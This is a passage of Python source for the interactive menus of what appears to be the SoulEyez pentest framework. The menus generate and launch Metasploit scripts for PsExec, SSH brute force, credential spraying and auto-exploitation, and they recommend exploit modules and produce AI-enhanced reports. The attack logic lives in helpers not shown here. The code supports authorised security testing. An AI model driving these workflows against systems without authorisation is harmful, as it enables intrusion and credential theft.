        click.echo("  [1] PsExec Script (Writable SMB Shares)")
        click.echo("  [2] SSH Brute Force Script")
        click.echo("  [3] Credential Spray Script")
        click.echo("  [4] Exploit Script (From Findings)")
        click.echo("  [5] Launch MSF with Resource Script")
        click.echo()
        click.echo("  [q] Back")
        click.echo()

        try:
            choice_input = click.prompt("Select option", type=str, default='q', show_default=False).strip()

            if choice_input == 'q':
                return

            try:
                choice = int(choice_input)
            except ValueError:
                continue

            if choice == 1:
                # Generate PsExec script for writable SMB shares
                smm = SMBSharesManager()
                cm = CredentialsManager()
                
                writable = smm.get_writable_shares(engagement_id)
                creds = cm.list_credentials(engagement_id)
                valid_creds = [c for c in creds if c.get('status') == 'valid']
                
                if not writable:
                    click.echo(click.style("\n✗ No writable SMB shares found!", fg='yellow'))
                    click.pause()
                    continue
                
                script = msf_gen.generate_smb_psexec_script(writable, valid_creds)
                filename = f"psexec_writable_shares_{engagement_id}.rc"
                filepath = msf_gen.save_script(script, filename)
                
                click.echo(click.style(f"\n✓ Generated PsExec script:", fg='green'))
                click.echo(f"  {filepath}")
                click.echo(f"\n  Targets: {len(writable)} writable share(s)")
                if valid_creds:
                    click.echo(f"  Credentials: {len(valid_creds)} valid credential(s)")
                else:
                    click.echo(click.style("  ⚠ No credentials - you'll need to set them manually", fg='yellow'))
                click.echo(f"\n  Launch: msfconsole -r {filepath}")
                click.pause()
            
            elif choice == 2:
                # Generate SSH brute force script
                hm = HostManager()
                all_services = []
                
                for host in hm.list_hosts(engagement_id):
                    services = hm.get_host_services(host['id'])
                    all_services.extend([{**s, 'ip_address': host['ip_address']} for s in services])
                
                ssh_services = [s for s in all_services if (s.get('service_name') or '').lower() == 'ssh']
                
                if not ssh_services:
                    click.echo(click.style("\n✗ No SSH services found!", fg='yellow'))
                    click.pause()
                    continue
                
                ssh_hosts = [{'ip_address': s['ip_address'], 'port': s['port']} for s in ssh_services]
                script = msf_gen.generate_ssh_bruteforce_script(ssh_hosts)
                filename = f"ssh_bruteforce_{engagement_id}.rc"
                filepath = msf_gen.save_script(script, filename)
                
                click.echo(click.style(f"\n✓ Generated SSH brute force script:", fg='green'))
                click.echo(f"  {filepath}")
                click.echo(f"\n  Targets: {len(ssh_hosts)} SSH service(s)")
                click.echo(f"  Launch: msfconsole -r {filepath}")
                click.pause()
            
            elif choice == 3:
                # Generate credential spray script
                hm = HostManager()
                cm = CredentialsManager()
                
                all_services = []
                for host in hm.list_hosts(engagement_id):
                    services = hm.get_host_services(host['id'])
                    all_services.extend([{**s, 'ip_address': host['ip_address']} for s in services])
                
                creds = cm.list_credentials(engagement_id)
                
                if not creds:
                    click.echo(click.style("\n✗ No credentials found!", fg='yellow'))
                    click.pause()
                    continue
                
                script = msf_gen.generate_credential_spray_script(creds, all_services)
                filename = f"credential_spray_{engagement_id}.rc"
                filepath = msf_gen.save_script(script, filename)
                
                click.echo(click.style(f"\n✓ Generated credential spray script:", fg='green'))
                click.echo(f"  {filepath}")
                click.echo(f"\n  Credentials: {len(creds)} to test")
                click.echo(f"  Services: {len(all_services)} target(s)")
                click.echo(f"  Launch: msfconsole -r {filepath}")
                click.pause()
            
            elif choice == 4:
                # Generate exploit script from findings
                fm = FindingsManager()
                findings = fm.list_findings(engagement_id)
                
                # Filter to exploitable findings
                exploitable = [f for f in findings if f.get('severity') in ['critical', 'high']]
                
                if not exploitable:
                    click.echo(click.style("\n✗ No high/critical findings to exploit!", fg='yellow'))
                    click.pause()
                    continue
                
                script = msf_gen.generate_exploit_script(exploitable)
                filename = f"auto_exploit_{engagement_id}.rc"
                filepath = msf_gen.save_script(script, filename)
                
                click.echo(click.style(f"\n✓ Generated exploit script:", fg='green'))
                click.echo(f"  {filepath}")
                click.echo(f"\n  Vulnerabilities: {len(exploitable)}")
                click.echo(click.style("  ⚠ Review script before running!", fg='yellow', bold=True))
                click.echo(f"  Launch: msfconsole -r {filepath}")
                click.pause()
            
            elif choice == 5:
                # Launch MSF with resource script
                if not msf_console.is_available():
                    click.echo(click.style("\n✗ msfconsole not found!", fg='red'))
                    click.pause()
                    continue
                
                # List available resource scripts
                import glob
                scripts = glob.glob(os.path.join(msf_gen.output_dir, '*.rc'))
                
                if not scripts:
                    click.echo(click.style("\n✗ No resource scripts found!", fg='yellow'))
                    click.echo("Generate a script first (options 1-8)")
                    click.pause()
                    continue
                
                click.echo("\n" + "=" * 70)
                click.echo("SELECT RESOURCE SCRIPT")
                click.echo("=" * 70 + "\n")
                
                for i, script in enumerate(scripts, 1):
                    click.echo(f"{i}. {os.path.basename(script)}")

                click.echo()
                click.echo("  [q] Cancel")
                idx_input = click.prompt("Select script number", type=str, default='q').strip()

                if idx_input == 'q':
                    continue
                try:
                    idx = int(idx_input)
                except ValueError:
                    continue

                if idx < 1 or idx > len(scripts):
                    continue

                selected_script = scripts[idx - 1]
                
                click.echo(click.style(f"\n🚀 Launching msfconsole with {os.path.basename(selected_script)}...", fg='green'))
                click.echo()
                click.pause("Press Enter to continue...")
                
                # Launch msfconsole (this will replace current process)
                msf_console.launch_with_resource(selected_script, background=False)
            
            else:
                click.echo(click.style("Invalid selection!", fg='red'))
                click.pause()
        
        except (KeyboardInterrupt, click.Abort):
            return


def _msf_recommendations_menu():
    """MSF module recommendations submenu."""
    from souleyez.core.msf_integration import MSFModuleSelector
    from souleyez.storage.findings import FindingsManager
    from souleyez.storage.engagements import EngagementManager
    
    em = EngagementManager()
    current_ws = em.get_current()
    
    if not current_ws:
        click.echo(click.style("No engagement selected!", fg='red'))
        click.pause()
        return
    
    engagement_id = current_ws['id']
    msf_selector = MSFModuleSelector()
    
    while True:
        DesignSystem.clear_screen()
        click.echo("\n" + "=" * 70)
        click.echo("MSF MODULE RECOMMENDATIONS")
        click.echo("=" * 70 + "\n")
        
        click.echo("  [1] Get Modules for Service")
        click.echo("  [2] Find Exploits for Vulnerability")
        click.echo()
        click.echo("  [q] Back")
        click.echo()

        try:
            choice_input = click.prompt("Select option", type=str, default='q', show_default=False).strip()

            if choice_input == 'q':
                return

            try:
                choice = int(choice_input)
            except ValueError:
                continue

            if choice == 1:
                # Get module recommendations for a service
                service = click.prompt("\nEnter service name (ssh, smb, http, rdp)", type=str)
                
                click.echo("\nRisk levels to include:")
                click.echo("  [1] Safe only")
                click.echo("  [2] Safe + Noisy")
                click.echo("  [3] All (including exploits)")
                risk_choice = click.prompt("Select", type=int, default=2)
                
                if risk_choice == 1:
                    risk_levels = ['safe']
                elif risk_choice == 2:
                    risk_levels = ['safe', 'noisy']
                else:
                    risk_levels = ['safe', 'noisy', 'moderate', 'dangerous']
                
                recommendations = msf_selector.get_recommendations(service, include_risk=risk_levels)
                
                if not recommendations:
                    click.echo(click.style(f"\n✗ No recommendations for '{service}'", fg='yellow'))
                    click.pause()
                    continue
                
                click.echo(click.style(f"\n📋 Recommendations for {service.upper()}:", bold=True, fg='cyan'))
                click.echo("=" * 70)
                
                for i, module in enumerate(recommendations, 1):
                    risk_color = {
                        'safe': 'green',
                        'noisy': 'yellow',
                        'moderate': 'yellow',
                        'dangerous': 'red'
                    }.get(module['risk'], 'white')
                    
                    click.echo(f"\n{i}. {module['name']}")
                    click.echo(f"   Path: {module['path']}")
                    click.echo(f"   Type: {module['category']}")
                    click.echo(f"   Risk: " + click.style(module['risk'].upper(), fg=risk_color))
                    click.echo(f"   Desc: {module['description']}")
                
                click.echo()
                click.pause()
            
            elif choice == 2:
                # Find exploits for vulnerability
                fm = FindingsManager()
                findings = fm.list_findings(engagement_id)
                
                click.echo("\n" + "=" * 70)
                click.echo("SELECT VULNERABILITY")
                click.echo("=" * 70 + "\n")
                
                for i, finding in enumerate(findings[:20], 1):
                    severity_color = {
                        'critical': 'red',
                        'high': 'red',
                        'medium': 'yellow',
                        'low': 'blue'
                    }.get(finding.get('severity'), 'white')
                    
                    click.echo(f"{i:2}. [{click.style(finding['severity'][:4].upper(), fg=severity_color)}] {finding['title'][:60]}")

                click.echo()
                click.echo("  [q] Cancel")
                idx_input = click.prompt("Select finding number", type=str, default='q').strip()

                if idx_input == 'q':
                    continue
                try:
                    idx = int(idx_input)
                except ValueError:
                    continue

                if idx < 1 or idx > len(findings):
                    continue

                selected = findings[idx - 1]

                # Try to find matching exploits
                matches = msf_selector.match_vulnerability_to_exploit(
                    selected.get('title', ''),
                    selected.get('description', ''),
                    []  # Could extract CVEs from description
                )
                
                if not matches:
                    click.echo(click.style("\n✗ No known exploits found for this vulnerability", fg='yellow'))
                    click.pause()
                    continue
                
                click.echo(click.style(f"\n🎯 Potential Exploits:", bold=True, fg='green'))
                click.echo("=" * 70)
                
                for i, exploit in enumerate(matches, 1):
                    click.echo(f"\n{i}. {exploit['name']}")
                    click.echo(f"   Module: {exploit['path']}")
                    click.echo(f"   Risk: " + click.style(exploit['risk'].upper(), fg='red'))
                    click.echo(f"   Description: {exploit['description']}")
                    if 'cve' in exploit:
                        click.echo(f"   CVEs: {', '.join(exploit['cve'])}")
                
                click.echo()
                click.pause()
            
            else:
                click.echo(click.style("Invalid selection!", fg='red'))
                click.pause()
        
        except (KeyboardInterrupt, click.Abort):
            return


def generate_report_menu():
    """Interactive report generation menu."""
    from souleyez.reporting.generator import ReportGenerator
    from souleyez.storage.engagements import EngagementManager

    em = EngagementManager()
    current_ws = em.get_current()

    if not current_ws:
        click.echo(click.style("No engagement selected!", fg='red'))
        click.pause()
        return

    DesignSystem.clear_screen()
    click.echo("\n" + "=" * 70)
    click.echo(click.style("GENERATE PENTEST REPORT", bold=True, fg='cyan'))
    click.echo("=" * 70 + "\n")

    # Show engagement stats
    stats = em.stats(current_ws['id'])
    click.echo(click.style(f"Engagement: {current_ws['name']}", bold=True))
    click.echo(f"  • Hosts:       {stats['hosts']}")
    click.echo(f"  • Services:    {stats['services']}")
    click.echo(f"  • Findings:    {stats['findings']}")
    click.echo()

    # Report type selection
    click.echo(click.style("Select Report Type:", bold=True))
    click.echo("  [1] Executive    - C-level/management (top 5 findings, business focus)")
    click.echo("  [2] Technical    - Security engineers (all findings, full details) [DEFAULT]")
    click.echo("  [3] Summary      - Quick status update (top 3 findings, brief)")
    click.echo("  [q] Cancel")
    click.echo()

    try:
        type_input = click.prompt("Report Type", type=str, default="2").strip().lower()

        if type_input == 'q':
            return

        try:
            type_choice = int(type_input)
        except ValueError:
            click.echo(click.style("Invalid type selection", fg='red'))
            click.pause()
            return

        if type_choice not in [1, 2, 3]:
            click.echo(click.style("Invalid type selection", fg='red'))
            click.pause()
            return

        type_map = {1: 'executive', 2: 'technical', 3: 'summary'}
        report_type = type_map[type_choice]

        # Report format selection
        click.echo()
        click.echo(click.style("Select Report Format:", bold=True))
        click.echo("  [1] Markdown (.md)  - Clean, version-controllable")
        click.echo("  [2] HTML (.html)    - Styled, browser-ready")
        click.echo("  [3] PDF (.pdf)      - Print-ready, client-deliverable")
        click.echo("  [q] Cancel")
        click.echo()

        format_input = click.prompt("Format", type=str, default="2").strip().lower()

        if format_input == 'q':
            return

        try:
            format_choice = int(format_input)
        except ValueError:
            click.echo(click.style("Invalid format selection", fg='red'))
            click.pause()
            return

        if format_choice not in [1, 2, 3]:
            click.echo(click.style("Invalid format selection", fg='red'))
            click.pause()
            return

        format_map = {1: 'markdown', 2: 'html', 3: 'pdf'}
        report_format = format_map[format_choice]

        # AI Enhancement option
        click.echo()
        click.echo(click.style("AI Enhancement (PRO Feature):", bold=True))

        # Check available providers
        from souleyez.ai import AIReportService
        from souleyez.ai.llm_factory import LLMFactory
        from souleyez.config import get as config_get

        all_providers = LLMFactory.get_all_providers()
        ollama_available = all_providers.get('ollama', {}).get('available', False)
        claude_available = all_providers.get('claude', {}).get('available', False)
        current_provider = config_get('ai.provider', 'ollama')

        if ollama_available or claude_available:
            # Show provider selector
            click.echo("  Select AI Provider:")
            options = []
            if ollama_available:
                marker = " ←" if current_provider == 'ollama' else ""
                click.echo(f"    [1] Ollama (Local, Free){marker}")
                options.append('ollama')
            if claude_available:
                marker = " ←" if current_provider == 'claude' else ""
                click.echo(f"    [2] Claude (Cloud, Quality){marker}")
                options.append('claude')
            click.echo("    [n] No AI - Standard report only [DEFAULT]")

            provider_input = click.prompt("Choice", type=str, default="n").strip().lower()

            selected_provider = None
            if provider_input == 'n':
                ai_enhanced = False
            elif provider_input == '1' and ollama_available:
                ai_enhanced = True
                # Temporarily use Ollama for this report
                from souleyez.ai.ollama_provider import OllamaProvider
                selected_provider = OllamaProvider()
                click.echo(f"  Using: {click.style('Ollama', fg='magenta', bold=True)} (local - data stays on this machine)")
            elif provider_input == '2' and claude_available:
                # Show privacy warning for cloud provider
                click.echo()
                click.echo(click.style("  ⚠ PRIVACY NOTICE:", fg='yellow', bold=True))
                click.echo("    Engagement data (findings, hosts, services) will be sent to")
                click.echo("    Anthropic's servers for AI processing.")
                click.echo("    - Data is not stored by Anthropic after processing")
                click.echo("    - Review Anthropic's privacy policy: anthropic.com/privacy")
                click.echo()
                confirm = click.prompt("  Proceed with Claude?", type=str, default="y").strip().lower()
                if confirm in ['y', 'yes']:
                    ai_enhanced = True
                    from souleyez.ai.claude_provider import ClaudeProvider
                    selected_provider = ClaudeProvider()
                    click.echo(f"  Using: {click.style('Claude', fg='magenta', bold=True)} (cloud)")
                else:
                    click.echo("  Cancelled. Using standard report.")
                    ai_enhanced = False
            elif provider_input in ['y', 'yes']:
                ai_enhanced = True
                # Use default provider
            else:
                ai_enhanced = False
        else:
            click.echo(click.style("  ⚠ No AI providers available", fg='yellow'))
            click.echo("    Option 1: Start Ollama - ollama serve")
            click.echo("    Option 2: Configure Claude API key:")
            click.echo("      souleyez config set ai.provider claude")
            click.echo("      souleyez config set ai.claude_api_key YOUR_KEY")
            ai_enhanced = False
            selected_provider = None

        # Generate report
        type_labels = {
            'executive': 'EXECUTIVE (C-Level)',
            'technical': 'TECHNICAL (Full Details)',
            'summary': 'SUMMARY (Quick Status)'
        }
        ai_label = " + AI" if ai_enhanced else ""
        click.echo()

        try:
            generator = ReportGenerator()

            if ai_enhanced:
                # Use spinner for AI generation (takes longer)
                import threading
                import time
                import sys
                import random

                result_holder = {'path': None, 'error': None}

                def generate_in_thread():
                    try:
                        # Use selected provider if specified
                        if selected_provider:
                            from souleyez.ai.report_service import AIReportService
                            generator._ai_service = AIReportService(provider=selected_provider)

                        # Re-check AI availability before generation
                        if not generator.ai_service.is_available():
                            result_holder['ai_skipped'] = True
                            result_holder['ai_status'] = generator.ai_service.get_provider_info()

                        result_holder['path'] = generator.generate_report(
                            engagement_id=current_ws['id'],
                            format=report_format,
                            report_type=report_type,
                            ai_enhanced=True
                        )
                    except Exception as e:
                        result_holder['error'] = e

                # Fun AI quotes to display during generation
                ai_quotes = [
                    "Teaching the AI to speak executive...",
                    "Converting vulnerabilities to business impact...",
                    "The AI is drafting your bonus justification...",
                    "Translating 'you got pwned' to corporate speak...",
                    "AI is learning your engagement's deepest secrets...",
                    "Generating buzzwords for the C-suite...",
                    "The AI just found 47 ways to phrase 'patch your stuff'...",
                    "Converting technical debt to actual debt numbers...",
                    "AI is practicing its poker face for the findings...",
                    "Calculating how many executives will read past page 2...",
                    "The AI is trying to make SQL injection sound scary...",
                    "Drafting remediation timelines that won't be followed...",
                    "AI is wondering why you haven't patched Log4j yet...",
                    "Converting CVEs to CFO-understandable format...",
                    "The AI just sighed at your password policy...",
                    "Generating action items nobody will action...",
                    "AI is adding 'per industry best practices' everywhere...",
                    "Making your findings sound urgent but not panic-inducing...",
                    "The AI is judging your network segmentation choices...",
                    "Calculating risk scores that sound impressive...",
                ]

                # Start generation in background thread
                thread = threading.Thread(target=generate_in_thread)
                thread.start()

                # Show spinner while waiting
                spinner_chars = ['⠋', '⠙', '⠹', '⠸', '⠼', '⠴', '⠦', '⠧', '⠇', '⠏']
                phases = [
                    'Connecting to AI...',
                    'Generating executive summary...',
                    'Creating remediation plan...',
                    'Enhancing findings...',
                    'Finalizing report...'
                ]
                phase_idx = 0
                spinner_idx = 0
                start_time = time.time()
                last_quote_time = 0
                current_quote = random.choice(ai_quotes)

                while thread.is_alive():
                    elapsed = time.time() - start_time
                    # Change phase every 10 seconds
                    phase_idx = min(int(elapsed // 10), len(phases) - 1)
                    spinner = spinner_chars[spinner_idx % len(spinner_chars)]

                    # Change quote every 8 seconds
                    if elapsed - last_quote_time >= 8:
                        current_quote = random.choice(ai_quotes)
                        last_quote_time = elapsed
                        # Clear line before showing new quote
                        sys.stdout.write('\r' + ' ' * 80 + '\r')

                    status = f"\r  {spinner} {phases[phase_idx]} ({int(elapsed)}s)"
                    sys.stdout.write(click.style(status, fg='cyan'))
                    sys.stdout.flush()
                    spinner_idx += 1
                    time.sleep(0.1)

                    # Show quote on second line every few iterations
                    if spinner_idx % 20 == 0:
                        sys.stdout.write(f"\n  {click.style('💡 ' + current_quote, fg='yellow')}")
                        sys.stdout.write('\033[F')  # Move cursor up one line
                        sys.stdout.flush()

                # Clear spinner lines
                sys.stdout.write('\r' + ' ' * 80 + '\r')
                sys.stdout.write('\n' + ' ' * 80 + '\r\033[F')
                sys.stdout.flush()

                if result_holder['error']:
                    raise result_holder['error']
                report_path = result_holder['path']

                # Warn if AI was skipped
                if result_holder.get('ai_skipped'):
                    click.echo(click.style("\n⚠ AI enhancement was skipped - provider not available", fg='yellow'))
                    ai_status = result_holder.get('ai_status', {})
                    if ai_status.get('error'):
                        click.echo(f"  Reason: {ai_status['error']}")
                    click.echo("  Report generated without AI content.")
            else:
                # Standard generation (faster, no spinner needed)
                click.echo(click.style(f"Generating {type_labels[report_type]} {report_format.upper()} report...", fg='cyan'))
                report_path = generator.generate_report(
                    engagement_id=current_ws['id'],
                    format=report_format,
                    report_type=report_type,
                    ai_enhanced=False
                )

            click.echo(click.style(f"✓ Report generated successfully!", fg='green'))
            click.echo(f"  Location: {report_path}")
            
            # Offer to open
            if report_format in ['html', 'pdf']:
                if click.confirm("\nOpen report now?", default=True):
                    import subprocess
                    try:
                        subprocess.run(['xdg-open', report_path], check=False)
                    except:
                        click.echo(click.style("Could not open automatically. Please open manually.", fg='yellow'))
        
        except RuntimeError as e:
            click.echo(click.style(f"\n✗ Report generation failed: {e}", fg='red'))
            if 'wkhtmltopdf' in str(e):
                click.echo("\nTo enable PDF export, install wkhtmltopdf:")
                click.echo("  sudo apt install wkhtmltopdf")
        except Exception as e:
            click.echo(click.style(f"\n✗ Error: {e}", fg='red'))

        click.pause()

    except (KeyboardInterrupt, EOFError):
        return


def _customize_report_sections():
    """Allow user to customize which sections to include in report."""
    DesignSystem.clear_screen()
    click.echo("\n" + "=" * 70)
    click.echo(click.style("CUSTOMIZE REPORT SECTIONS", bold=True, fg='cyan'))
    click.echo("=" * 70 + "\n")
    
    # Section toggles
    sections = {
        'hosts': True,
        'services': True,
        'findings': True,
        'credentials': True,
        'sqlmap': True,
        'smb': True,
        'web_paths': True,
        'osint': True
    }
    
    click.echo(click.style("Select sections to include:", bold=True))
    click.echo("  [1] Hosts & Services")
    click.echo("  [2] Findings")
    click.echo("  [3] Credentials")
    click.echo("  [4] SQLMap Data")
    click.echo("  [5] SMB Shares")
    click.echo("  [6] Web Paths")
    click.echo("  [7] OSINT Data")
    click.echo()
    click.echo("  [9] Use all sections")
    click.echo("  [q] Cancel")
    click.echo()
    
    selections = click.prompt("Enter section numbers (comma-separated, e.g., 1,2,4)", type=str, default="9")
    
    if selections == "0":
        return False, None
    
    if selections == "9":
        include_sections = None
    else:
        include_sections = []
        selection_map = {
            '1': ['hosts', 'services'],
            '2': ['findings'],
            '3': ['credentials'],
            '4': ['sqlmap'],
            '5': ['smb'],
            '6': ['web_paths'],
            '7': ['osint']
        }
        for num in selections.split(','):
            num = num.strip()
            if num in selection_map:
                include_sections.extend(selection_map[num])
    
    # Severity filter
    click.echo()
    click.echo(click.style("Filter findings by severity:", bold=True))
    click.echo("  [1] Critical only")
    click.echo("  [2] Critical + High")
    click.echo("  [3] Critical + High + Medium")
    click.echo("  [4] All severities")
    click.echo()
    
    sev_choice = click.prompt("Severity filter", type=int, default=4)
    
    severity_map = {
        1: ['critical'],
        2: ['critical', 'high'],
        3: ['critical', 'high', 'medium'],
        4: None
    }
    
    severity_filter = severity_map.get(sev_choice, None)
    
    return include_sections, severity_filter


def _find_docs_root():
    """Find the documentation root directory across all installation types."""
    import os
    import sys

    # Check environment variable first (allows user override)
    env_root = os.environ.get('SOULEYEZ_ROOT')
    if env_root:
        env_path = Path(env_root)
        if (env_path / 'docs' / 'user-guide').exists():
            return env_path

    # Try multiple locations for docs (in priority order)
    possible_roots = [
        # 1. Package directory: docs are now inside souleyez/ package (pip/pipx install)
        Path(__file__).parent.parent,  # souleyez/ui/interactive.py -> souleyez/
        # 2. Development: repo root (if docs symlinked or not moved yet)
        Path(__file__).parent.parent.parent,
        # 3. Debian package location
        Path('/usr/share/doc/souleyez'),
        # 4. Common source locations
        Path('/home/yoda/apps/souleyez'),
        Path.home() / 'apps/souleyez',
        # 5. Site-packages (pip install)
        Path(sys.prefix) / 'share/souleyez',
        # 6. User install location
        Path.home() / '.local/share/souleyez',
        # 7. Current working directory
        Path(os.getcwd()),
    ]

    for root in possible_roots:
        docs_path = root / 'docs'
        if docs_path.exists() and docs_path.is_dir():
            # Verify it has actual content (user-guide subdirectory)
            if (docs_path / 'user-guide').exists():
                return root

    return None


def view_documentation_menu():
    """Display available documentation files for viewing."""
    import os

    repo_root = _find_docs_root()

    if repo_root is None:
        # Local docs not found - show online documentation options
        click.echo()
        click.echo(click.style("  📚 SOULEYEZ HELP CENTER", fg='cyan', bold=True))
        click.echo()
        click.echo("  Local documentation not bundled with pip install.")
        click.echo("  Access documentation online:")
        click.echo()
        click.echo(click.style("  [1]", fg='yellow', bold=True) + " Open GitHub Docs        - Full documentation")
        click.echo(click.style("  [2]", fg='yellow', bold=True) + " Open Getting Started    - First-time setup guide")
        click.echo(click.style("  [3]", fg='yellow', bold=True) + " Open Troubleshooting    - Common issues & fixes")
        click.echo(click.style("  [4]", fg='yellow', bold=True) + " View Keyboard Shortcuts - In-app quick reference")
        click.echo(click.style("  [q]", fg='yellow', bold=True) + " Back")
        click.echo()

        choice = click.prompt("  Select option", default='q')

        if choice == '1':
            import webbrowser
            webbrowser.open('https://github.com/cyber-soul-security/SoulEyez/tree/main/souleyez/docs')
            click.echo(click.style("  Opened in browser!", fg='green'))
        elif choice == '2':
            import webbrowser
            webbrowser.open('https://github.com/cyber-soul-security/SoulEyez/blob/main/souleyez/docs/user-guide/getting-started.md')
            click.echo(click.style("  Opened in browser!", fg='green'))
        elif choice == '3':
            import webbrowser
            webbrowser.open('https://github.com/cyber-soul-security/SoulEyez/blob/main/souleyez/docs/user-guide/troubleshooting.md')
            click.echo(click.style("  Opened in browser!", fg='green'))
        elif choice == '4':
            _display_keyboard_shortcuts()

        click.pause()
        return
    
    # Check if user is PRO for showing advanced docs
    from souleyez.auth import get_current_user, Tier
    current_user = get_current_user()
    is_pro = current_user and current_user.tier == Tier.PRO

    # Documentation files to display (user-facing guides only)
    docs = {
        '1': {
            'name': 'Getting Started Guide',
            'file': 'docs/user-guide/getting-started.md',
            'description': 'First-time setup and your first scan'
        },
        '2': {
            'name': 'Troubleshooting Guide',
            'file': 'docs/user-guide/troubleshooting.md',
            'description': 'Common issues and solutions'
        },
        '3': {
            'name': 'Security & Encryption Guide',
            'file': 'docs/security/credential-encryption.md',
            'description': 'Credential protection and security'
        },
        '4': {
            'name': 'Auto-Chaining Guide',
            'file': 'docs/AUTO_CHAINING.md',
            'description': 'Automated tool workflows and safety controls'
        },
        '5': {
            'name': 'Tool Usage Reference',
            'file': 'docs/user-guide/tools-reference.md',
            'description': 'Quick reference for all integrated tools'
        },
        '6': {
            'name': 'Pentesting Workflows Guide',
            'file': 'docs/user-guide/workflows.md',
            'description': 'End-to-end pentesting scenarios and examples'
        },
        '7': {
            'name': 'Keyboard Shortcuts',
            'file': None,  # Special handler
            'description': 'Command Center and Dashboard shortcuts'
        }
    }

    # Add PRO-only documentation
    if is_pro:
        docs.update({
            '8': {
                'name': 'MSF Integration Guide',
                'file': None,  # Special handler
                'description': 'Metasploit Framework workflows',
                'pro': True
            },
            '9': {
                'name': 'RBAC & User Management',
                'file': 'docs/user-guide/rbac.md',
                'description': 'Roles, permissions, and audit logging',
                'pro': True
            },
            '10': {
                'name': 'Wazuh SIEM Integration',
                'file': 'docs/user-guide/wazuh-integration.md',
                'description': 'Detection validation and SIEM correlation',
                'pro': True
            },
            '11': {
                'name': 'AI Integration Guide',
                'file': 'docs/user-guide/ai-integration.md',
                'description': 'AI providers and autonomous execution',
                'pro': True
            }
        })
    
    while True:
        DesignSystem.clear_screen()
        width = get_terminal_width()
        
        click.echo()
        click.echo("┌" + "─" * (width - 2) + "┐")
        title = "DOCUMENTATION & GUIDES"
        padding = (width - len(title) - 2) // 2
        click.echo("│" + " " * padding + click.style(title, bold=True, fg='cyan') + " " * (width - len(title) - padding - 2) + "│")
        click.echo("└" + "─" * (width - 2) + "┘")
        click.echo()
        
        click.echo(click.style("  📚 AVAILABLE DOCUMENTATION", bold=True))
        click.echo("  " + "─" * (get_terminal_width() - 4))
        click.echo()
        
        # Display documentation options
        for key, doc in docs.items():
            # Special handling for keyboard shortcuts (no file)
            if doc['file'] is None:
                exists_marker = "✓"
                color = "cyan"
            else:
                doc_path = repo_root / doc['file']
                exists_marker = "✓" if doc_path.exists() else "✗"
                color = "green" if doc_path.exists() else "red"

            # Add PRO badge for PRO-only docs
            pro_badge = " 💎" if doc.get('pro') else ""
            click.echo(f"    [{key:>2}] " + click.style(exists_marker, fg=color) + f" {doc['name']}{pro_badge}")
            click.echo(f"         {doc['description']}")
            click.echo()
        
        click.echo("  " + "─" * (get_terminal_width() - 4))
        click.echo()
        click.echo("    [q] ← Back")
        click.echo()
        click.echo("  " + "─" * (get_terminal_width() - 4))
        click.echo(click.style("  Select option: ", bold=True), nl=False)

        try:
            choice = input().strip()

            # Check for back
            if choice.lower() in ('q', ''):
                return
            
            if choice not in docs:
                click.echo(click.style(f"\n  ✗ Invalid choice. Please select 1-{len(docs)} or q.", fg='red'))
                click.pause()
                continue
            
            # Get the document
            doc = docs[choice]
            
            # Special handler for keyboard shortcuts
            if choice == '7':
                _display_keyboard_shortcuts()
                continue

            # Special handler for MSF Integration Guide
            if choice == '8':
                _show_msf_help()
                continue

            doc_path = repo_root / doc['file']
            
            if not doc_path.exists():
                click.echo(click.style(f"\n  ✗ Document not found: {doc['file']}", fg='red'))
                click.pause()
                continue
            
            # Display the document
            _display_document(doc['name'], doc_path)
            
        except (KeyboardInterrupt, EOFError):
            click.echo("\n")
            return


def _display_keyboard_shortcuts():
    """Display keyboard shortcuts reference for Command Center."""
    DesignSystem.clear_screen()
    width = get_terminal_width()
    
    click.echo()
    click.echo("┌" + "─" * (width - 2) + "┐")
    title = "KEYBOARD SHORTCUTS REFERENCE"
    padding = (width - len(title) - 2) // 2
    click.echo("│" + " " * padding + click.style(title, bold=True, fg='cyan') + " " * (width - len(title) - padding - 2) + "│")
    click.echo("└" + "─" * (width - 2) + "┘")
    click.echo()
    
    # Command Center shortcuts
    click.echo(click.style("  ⚡ COMMAND CENTER SHORTCUTS", bold=True, fg='bright_cyan'))
    click.echo("  " + "═" * 76)
    click.echo()
    
    from rich.console import Console
    from rich.table import Table
    
    console = Console(width=width - 4)
    table = Table(
        show_header=True,
        header_style="bold cyan",
        box=DesignSystem.TABLE_BOX,
        padding=(0, 1)
    )
    
    table.add_column("Key", width=7, justify="center")
    table.add_column("Action", width=15, style="bold")
    table.add_column("Description", width=50, overflow="fold")
    
    # Add rows with styled keys (using raw strings to escape brackets properly)
    table.add_row(r"[yellow bold]\[1-2][/yellow bold]", "Quick Actions", "Export untested creds OR launch brute force")
    table.add_row(r"[yellow bold]\[m][/yellow bold]", "Menu", "Navigation menu (Intel, Hosts, Services, etc.)")
    table.add_row(r"[yellow bold]\[i][/yellow bold]", "Intel", "Toggle Intelligence panel (Intelligence Hub)")
    table.add_row(r"[yellow bold]\[a][/yellow bold]", "AI Toggle", "Switch AI provider (Ollama ↔ Claude)")
    table.add_row(r"[yellow bold]\[x][/yellow bold]", "AI Execute", "AI-driven autonomous execution")
    table.add_row(r"[yellow bold]\[e][/yellow bold]", "Evidence", "View Evidence Vault")
    table.add_row(r"[yellow bold]\[r][/yellow bold]", "Reports", "Generate/view reports")
    table.add_row(r"[yellow bold]\[v][/yellow bold]", "Toggle View", "Switch Command Center ↔ Detailed View")
    table.add_row(r"[yellow bold]\[q][/yellow bold]", "Quit", "Exit")
    
    console.print(table)
    
    click.echo()
    click.echo(click.style("  📊 DETAILED VIEW SHORTCUTS", bold=True, fg='bright_cyan'))
    click.echo("  " + "═" * 76)
    click.echo()
    
    table2 = Table(
        show_header=True,
        header_style="bold cyan",
        box=DesignSystem.TABLE_BOX,
        padding=(0, 1)
    )
    
    table2.add_column("Key", width=7, justify="center")
    table2.add_column("Action", width=15, style="bold")
    table2.add_column("Description", width=50, overflow="fold")
    
    table2.add_row(r"[yellow bold]\[m][/yellow bold]", "Menu", "Navigation menu")
    table2.add_row(r"[yellow bold]\[j][/yellow bold]", "Jobs", "View jobs and queue status")
    table2.add_row(r"[yellow bold]\[s][/yellow bold]", "Filter", "Filter findings by severity")
    table2.add_row(r"[yellow bold]\[t][/yellow bold]", "Toggle", "Toggle sections on/off")
    table2.add_row(r"[yellow bold]\[n][/yellow bold]", "Minimal", "Toggle minimal view")
    table2.add_row(r"[yellow bold]\[v][/yellow bold]", "Command Center", "Return to Command Center view")
    table2.add_row(r"[yellow bold]\[q][/yellow bold]", "Quit", "Exit")
    
    console.print(table2)
    
    click.echo()
    click.echo(click.style("  💡 TIPS", bold=True, fg='yellow'))
